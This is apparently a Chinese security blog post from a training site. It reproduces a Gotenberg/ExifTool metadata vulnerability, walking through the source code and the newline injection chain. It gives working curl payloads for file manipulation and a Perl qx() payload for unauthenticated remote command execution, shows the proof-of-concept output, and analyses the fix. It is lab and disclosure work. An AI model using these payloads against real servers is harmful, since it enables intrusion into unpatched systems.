当前位置: 首页 > 技术干货 > CVE-2026-40281漏洞复现记录

CVE-2026-40281漏洞复现记录

发表于:2026-10-14 13:26 作者: Luc1dkilL 阅读数(37人)

漏洞概览

Gotenberg 是一个基于 Docker 的无状态 API 服务,广泛用于将 Office 文档、HTML、Markdown 等格式转换为 PDF。它的 PDF 元数据读写功能通过命令行工具 ExifTool 实现,而这个接口中的一个"值未过滤换行符"的疏漏,让攻击者可以把任意参数注入到 ExifTool 的命令行中,最终借助 ExifTool 的 Perl 表达式特性实现 RCE。

值得注意的是,这并非该接口的第一个漏洞:早前的 CVE-2026-42589 是元数据键名(key)注入,8.30.1 版本为此加入了危险 tag 名过滤;而本漏洞(CVE-2026-40281)则是元数据值(value)中的换行符注入,恰好绕过了上一轮针对键名的修复。

环境搭建

使用 vulhub 环境(Gotenberg 8.30.1):

git clone 后进入 gotenberg/CVE-2026-40281 目录
docker compose up -d

服务启动后访问 http://127.0.0.1:3000/health,返回 "status":"up" 即就绪:

{"status":"up","details":{"chromium":{"status":"up","timestamp":"2026-10-08T12:55:16.236911374Z"},"libreoffice":{"status":"up","timestamp":"2026-10-08T12:55:16.236869832Z"}}}

容器内的关键组件版本:

  • Gotenberg 8.30.1(Go 实现)

  • go-exiftool v1.10.0(Gotenberg 调用 ExifTool 所用的 Go 封装库)

  • ExifTool 13.25(Perl 5.40.1)

漏洞原理分析

1. 入口:元数据写入接口

POST /forms/pdfengines/metadata/write 接收一个 PDF 文件和一个 metadata 表单字段(JSON 对象),把元数据写入 PDF 后返回处理过的文件。

路由定义在 pkg/modules/pdfengines/routes.go:1022:

// writeMetadataRoute returns an [api.Route] which can write metadata into PDFs.
func writeMetadataRoute(engine gotenberg.PdfEngine) api.Route {
   return api.Route{
       Method:      http.MethodPost,
       Path:        "/forms/pdfengines/metadata/write",
       IsMultipart: true,
       Handler: func(c echo.Context) error {
           ctx := c.Get("context").(*api.Context)
​
           form := ctx.FormData()
           metadata := FormDataPdfMetadata(form, true)   // ① 解析 metadata JSON
​
           var inputPaths []string
           err := form.
               MandatoryPaths([]string{".pdf"}, &inputPaths).
               Validate()
           ...
           err = WriteMetadataStub(ctx, engine, metadata, inputPaths)  // ② 写入元数据
           ...
      },
  }
}

FormDataPdfMetadata(routes.go:107)只是把 JSON 反序列化成 map[string]any,对键和值的内容没有任何校验:

func FormDataPdfMetadata(form *api.FormData, mandatory bool) map[string]any {
   var metadata map[string]any
​
   metadataFunc := func(value string) error {
       if len(value) > 0 {
           err := json.Unmarshal([]byte(value), &metadata)
           ...
      }
       return nil
  }
   ...
}

2. Gotenberg 侧:只防了"键名",没防"值"

WriteMetadataStub 最终调用 ExifTool 引擎的 WriteMetadata,位于 pkg/modules/exiftool/exiftool.go:205。8.30.1 版本的实现里可以看到上一轮修复留下的防御——一个针对键名的黑名单过滤:

// Filter user-supplied metadata to prevent ExifTool pseudo-tags from
// triggering dangerous side effects like file renames, moves, or link
// creation. Comparison is case-insensitive because ExifTool processes
// tag names case-insensitively.
// See https://exiftool.org/TagNames/Extra.html.
dangerousTags := []string{
   "FileName",  // Writing this triggers a file rename in ExifTool
   "Directory", // Writing this triggers a file move in ExifTool
   "HardLink",  // Writing this creates a hard link in ExifTool
   "SymLink",   // Writing this creates a symbolic link in ExifTool
}
for key := range metadata {
   for _, tag := range dangerousTags {
       if strings.EqualFold(key, tag) {
           delete(metadata, key)
      }
  }
}
​
for key, value := range metadata {
   switch val := value.(type) {
   case string:
       fileMetadata[0].SetString(key, val)   // ← 值原样传入,未过滤换行符
   ...

这段代码防住了 {"FileName":"..."} 这类直接把伪标签(pseudo-tag)当键名写入的攻击(即 CVE-2026-42589 的利用方式),但 SetString(key, val) 中的值 val 被原样传递——包括换行符 \n。这就是本漏洞的成因。

3. 底层:go-exiftool 的"按行传参"协议

Gotenberg 通过 go-exiftool 库与 ExifTool 交互。这个库没有为每次写操作单独起进程,而是维持一个常驻的 ExifTool 进程,使用 ExifTool 的 argfiles 模式(exiftool.go:20):

var initArgs = []string{"-stay_open", "True", "-@", "-"}

-@ - 的含义是"从 stdin 读取参数文件",每一行就是一个独立的命令行参数,-stay_open True 让进程读完一批参数后继续等待下一批。写入时(exiftool.go:214 的 WriteMetadata):

for k, v := range md.Fields {
   switch v.(type) {
   case nil:
       fmt.Fprintln(e.stdin, "-"+k+"=")
   default:
       strTab, err := md.GetStrings(k)
       ...
       for _, str := range strTab {
           // TODO: support writing an empty string via '^='
           fmt.Fprintln(e.stdin, "-"+k+"="+str)   // ← 一个 "-Tag=值" 占一行
      }
  }
}
​
fmt.Fprintln(e.stdin, md.File)      // 目标文件
fmt.Fprintln(e.stdin, executeArg)   // "-execute":执行本批参数

fmt.Fprintln(e.stdin, "-"+k+"="+str) 把 -Title=值 作为一个整体写入一行。如果 str 中含有 \n,这一个"逻辑参数"就会被拆成两行——也就是两个独立的 ExifTool 参数。

4. 注入链完整梳理

HTTP 请求 metadata={"Title":"test\n-FileName=/tmp/inject_proof"}
  │
  ▼ json.Unmarshal(\n 转义还原为真实换行符)
map[string]any{"Title": "test\n-FileName=/tmp/inject_proof"}
  │
  ▼ 键名黑名单检查:Title 不在黑名单 → 通过
  │
  ▼ SetString("Title", "test\n-FileName=/tmp/inject_proof")
  │
  ▼ fmt.Fprintln(stdin, "-Title=test\n-FileName=/tmp/inject_proof")
stdin 实际内容(两行 = 两个参数):
  -Title=test
  -FileName=/tmp/inject_proof       ← 注入的参数
  │
  ▼ ExifTool argfiles 协议逐行解释
exiftool ... -overwrite_original -Title=test -FileName=/tmp/inject_proof <PDF路径> -execute

ExifTool 收到 -FileName=/tmp/inject_proof 后,会把正在处理的 PDF 重命名/移动到该路径——这是 ExifTool 的官方特性(FileName 是可写的"文件系统伪标签"),却被攻击者用来操纵服务器文件。

漏洞复现

复现一:参数注入(-FileName 文件操纵)

先离线生成一个最小合法 PDF(poc.py 自带构建逻辑):

python poc.py -o test.pdf

然后在 Title 值中注入换行符和 -FileName 参数:

curl -s -w '\nHTTP %{http_code}\n' \
   -F 'files=@test.pdf;type=application/pdf' \
   --form-string 'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}' \
  http://127.0.0.1:3000/forms/pdfengines/metadata/write

注意 curl 的 --form-string 会把字面量 \n(反斜杠 + n)原样发送,服务端 json.Unmarshal 将其还原为真实换行符。

漏洞版本的返回:

Not Found
HTTP 404

返回 404 不是因为请求被拒绝,而是因为注入的 -FileName 参数已经把处理完的 PDF 移走了,Gotenberg 找不到输出文件。进入容器验证:

$ docker compose exec web ls -l /tmp/inject_proof
-rw-r--r-- 1 gotenberg gotenberg 3582 Oct  8 13:02 /tmp/inject_proof

文件确实存在,参数注入成功:

01.png

复现二:从参数注入到 RCE

单纯的参数注入已经能操纵文件(改名/移动/软硬链接),但要拿命令执行,需要请出 ExifTool 更危险的特性——Perl 表达式求值。

ExifTool 的 -TAG<值 语法表示"从表达式取值写入 TAG"(区别于 -TAG=值 的直接赋值)。其中支持"高级格式化"(advanced formatting)语法 ${TAG;表达式}:取 TAG 的当前值赋给 $_,执行分号后的任意 Perl 表达式,结果作为新值写回。qx() 是 Perl 的命令执行运算符(等价于反引号)。

于是构造 payload:

{"Title":"x\n-Title<${PDFVersion;$_=qx(id)}"}

注入后 ExifTool 实际收到的参数:

-Title=x                                  ← 正常参数,占位
-Title<${PDFVersion;$_=qx(id)}           ← 注入参数

第二个参数的执行逻辑:读取 PDFVersion 标签(任何合法 PDF 都有此标签,保证表达式被触发)→ 在 Perl 中执行 qx(id) → 命令输出覆盖 $_ → 写入 Title。命令的输出就这样被写进了 PDF 元数据。

而写入接口会在 HTTP 响应中返回处理后的 PDF,再把它提交给 /forms/pdfengines/metadata/read 读出 Title,即可拿到命令回显。poc.py 把这两步串了起来:

$ python poc.py -u http://127.0.0.1:3000 -c id
[*] Target: http://127.0.0.1:3000
[*] Command to execute on the target: id
[+] Metadata written (HTTP 200), reading back the Title of the returned PDF
[+] Command output:
   uid=1001(gotenberg) gid=1001(gotenberg) groups=1001(gotenberg),0(root)
​
$ python poc.py -u http://127.0.0.1:3000 -c "whoami; hostname; uname -r"
[*] Target: http://127.0.0.1:3000
[*] Command to execute on the target: whoami; hostname; uname -r
[+] Metadata written (HTTP 200), reading back the Title of the returned PDF
[+] Command output:
  gotenberg 6dc17a6e1c7c 6.18.40.1-microsoft-standard-WSL2

命令以容器内的 gotenberg 用户(uid=1001,注意其附加组包含 root)身份执行,输出从返回 PDF 的 Title 元数据中完整回读——无需任何认证的远程代码执行:

02.png

除 -TAG<... 重定向语法外,ExifTool 的 -if 参数 同样会执行任意 Perl 表达式(本用于决定是否处理文件),表达式内使用 qx() 或 system() 也能达到同样效果。

修复分析(8.31.0)

8.31.0 的修复在 pkg/modules/exiftool/exiftool.go 中加入了三道防线,直击注入的根源——控制字符:

// safeKeyPattern matches legitimate ExifTool tag names: alphanumeric,
// hyphens, underscores, colons, and periods. Rejects control characters
// (especially \n) that would inject stdin arguments via go-exiftool's
// line-based protocol.
var safeKeyPattern = regexp.MustCompile(`^[a-zA-Z0-9\-_.:]+$`)
​
// validateMetadataValue rejects metadata values containing characters that
// could inject ExifTool stdin arguments. go-exiftool writes each key/value
// pair as a single line via fmt.Fprintln(stdin, "-"+k+"="+str), so a
// newline in the value splits into a second stdin line that ExifTool
// interprets as an additional argument. ... The same applies to carriage
// returns and NUL.
func validateMetadataValue(key, value string) error {
   if strings.ContainsAny(value, "\n\r\x00") {
       return fmt.Errorf("... invalid metadata value for key %q (contains control character): %w",
           key, gotenberg.ErrPdfEngineMetadataValueNotSupported)
  }
   return nil
}

写入路径上的每一处赋值都会调用校验:

for key, value := range metadata {
   switch val := value.(type) {
   case string:
       if err = validateMetadataValue(key, val); err != nil {   // ← 新增
           ...
           return err
      }
       fileMetadata[0].SetString(key, val)
   case []string:
       for _, s := range val {
           if err = validateMetadataValue(key, s); err != nil { // ← 新增
               ...

键名则从"黑名单"升级为白名单(safeKeyPattern),只有字母、数字、-_.: 可以出现在键名中;同时黑名单补充了 FilePermissions(防 chmod),并在比较前剥离 ExifTool 的组名前缀(防止 System:FileName 绕过等价名比较)。

校验失败时错误包装了 gotenberg.ErrPdfEngineMetadataValueNotSupported,pkg/modules/api/middlewares.go:65 会把它映射为 HTTP 400,所以修复版本对同样的攻击载荷返回 400 Bad Request 而不是 404。

在 8.31.0 上重放同样的 payload,请求会在 validateMetadataValue 处被拒绝并返回 HTTP 400(错误信息提示至少一个 PDF 引擎无法处理该元数据),注入的换行符再也无法到达 go-exiftool 的 stdin。

本课程最终解释权归蚁景网安学院

本页面信息仅供参考,请扫码咨询客服了解本课程最新内容和活动

🎈网安学院推荐课程: 零基础CTF竞赛实战课 红队攻防特训班 Web安全工程师特训班 应急响应安全工程师特训班
  CTF-Reverse实战技能特训班 CTF-WEB实战技能特训班 CTF-PWN实战技能特训班 CTF-MISC实战技能特训班   Python网络安全实战班 SRC漏洞高阶实战课 HVV大师课